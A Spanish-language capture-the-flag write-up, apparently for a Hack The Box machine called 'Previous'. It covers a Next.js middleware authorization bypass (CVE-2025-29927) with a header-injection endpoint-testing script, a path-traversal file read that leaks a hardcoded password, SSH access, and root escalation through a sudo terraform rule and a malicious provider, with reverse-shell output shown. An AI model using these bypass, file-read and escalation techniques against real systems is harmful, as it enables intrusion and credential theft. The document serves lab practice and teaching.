Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-24 09:38 EDT
Nmap scan report for 10.10.11.83
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.06 seconds
Veremos que hay varios puertos, pero nos centraremos en el puerto 80, vemos de ante mano que nos redirige a un dominio llamado previous.htb, por lo que vamos añadirlo a nuestro archivo hosts.
Lo guardamos y entraremos por dicho dominio de esta forma:
Info:
Veremos una pagina web normal, sin nada interesante, pero si bajamos abajo del todo, veremos que hay un contacto, que si investigamos a donde redirige, veremos lo siguiente:
Vemos que ya tenemos un contacto llamado jeremy, despues de un rato buscando me funciono un pequeño NoSQLi, pero nada interesante, si utilzamos una extension llamada Wappalyzer veremos que hay una dependencia en la pagina que se esta utilizando con una version en concreto.
Vemos que hay un Next.js con la version 15.2.2, si buscamos vulnerabilidades de dicha version, veremos que si la hay en concreto con el CVE-2025-29927 (Next.js) - Authorization Bypass por lo que vemos se puede realizar un bypass del login con esta vulnerabilidad.
Investigando un poco encontramos este repositorio donde podemos obtener informacion de como aprovecharla.
Vamos a preparar nuestro entorno para que funcione.
Instalado todo, vamos a probarlo de esta forma:
Info:
Pero veremos que esta fallando y es por que no estamos encontrando la URL del parametro especifico que es vulnerable a esta inyeccion.
Si seguimos investigando un poco y probamos en vez de la URL normal, la de la /api que vemos que esta solicitando todo el rato...
Info:
Veremos que funciona, por lo que vamos a probar varios parametros de endpoint de la API a ver cual puede existir ya que estamos bypasseando el login.
urlBypass.sh
Lo ejecutaremos de esta forma:
Info:
Por lo que vemos aqui nos pide un archivo como parametro, por lo que esta funcionando, vamos a probar a realizar lo siguiente:
FFUF
Info:
Veremos que ha funcionado, hay un parametro llamado example que puede leer archivos del sistema, un LFI, vamos a verlo con un curl.
Info:
Vemos que esta funcionando de forma correcta, por lo que podemos deducir que este servicio esta corriendo con el usuario node o bajo algun usuario en alguna carpeta, por lo que vamos a salirnos desde la ruta donde estemos ejecutando ese download y hacer un ../ hasta que nos muestre informacion de algun archivo.
Escalate user jeremy
Si hacemos esto:
Info:
Vemos que esta funcionando, si buscamos un poco la estructura de archivos que puede tener este directorio para ir probando archivos veremos algo parecido a esto:
Si probamos con la mayoria de archivos algunos iran y otros no, pero si probamos con .env veremos esto:
Info:
Vemos que es un hash en MD5, pero no podremos hacer de momento con el nada mas interesante, con ayuda de la IA si le pedimos que nos diga una estructura de archivos comunes de .next veremos que nos funcionan estos archivos:
Si las probamos la mas importante que podemos ver es esta:
Info:
Info:
Sabiendo esto podremos analizar la siguiente ruta bastante interesante:
Info:
Veremos que nos esta mostrando un usuario y contraseña, por lo que vamos a probarlas por SSH a ver si funciona.
SSH
Metemos como contraseña MyNameIsJeremyAndILovePancakes...
Con esto veremos que estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos ejecutar el binario terraform junto con sus parametro como el usuario root, por lo que vamos analizar que hacer dicho binario.
Si investigamos un poco veremos que hay una vulnerabilidad en la que podremos crear un provider malicioso que ejecuta reverse shell, para ello tendremos que crearlo y compilarlo de esta forma:
Ahora lo compilaremos.
Vamos a configurar el dev_overrides para usar nuestro provider.
Ahora nos pondremos a la escucha desde la maquina atacante:
Si ejecutamos el comando estando a la escucha y configurandolo con la variable de entorno...
Info:
Ahora si volvemos a donde tenemos la escucha, veremos lo siguiente:
Veremos que ha funcionado y seremos root, por lo que leeremos la flag de root.
# Script para probar múltiples endpoints
ENDPOINTS=("users" "admin" "config" "settings" "database" "files" "upload" "download" "auth" "session" "tokens" "ssh" "backup")
for endpoint in "${ENDPOINTS[@]}"; do
echo "Testing: /api/$endpoint"
curl -s -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" "http://previous.htb/api/$endpoint" | head -20
echo "---"
done
bash urlBypass.sh
............................<RESTO DEL CODIGO>.....................................
Testing: /api/download
{"error":"Invalid filename"}
............................<RESTO DEL CODIGO>.....................................
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
ssh jeremy@<IP>
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Sep 24 04:22:28 PM UTC 2025
System load: 0.01 Processes: 214
Usage of /: 79.8% of 8.76GB Users logged in: 0
Memory usage: 9% IPv4 address for eth0: 10.10.11.83
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Sep 24 16:22:28 2025 from 10.10.14.98
jeremy@previous:~$ whoami
jeremy
c96ca7a03235e8ab57e07d372359bba0
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /tmp/malprov
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published
│ releases.
╵
listening on [any] 7777 ...
connect to [10.10.14.98] from (UNKNOWN) [10.10.11.83] 56516
root@previous:/opt/examples# whoami
whoami
root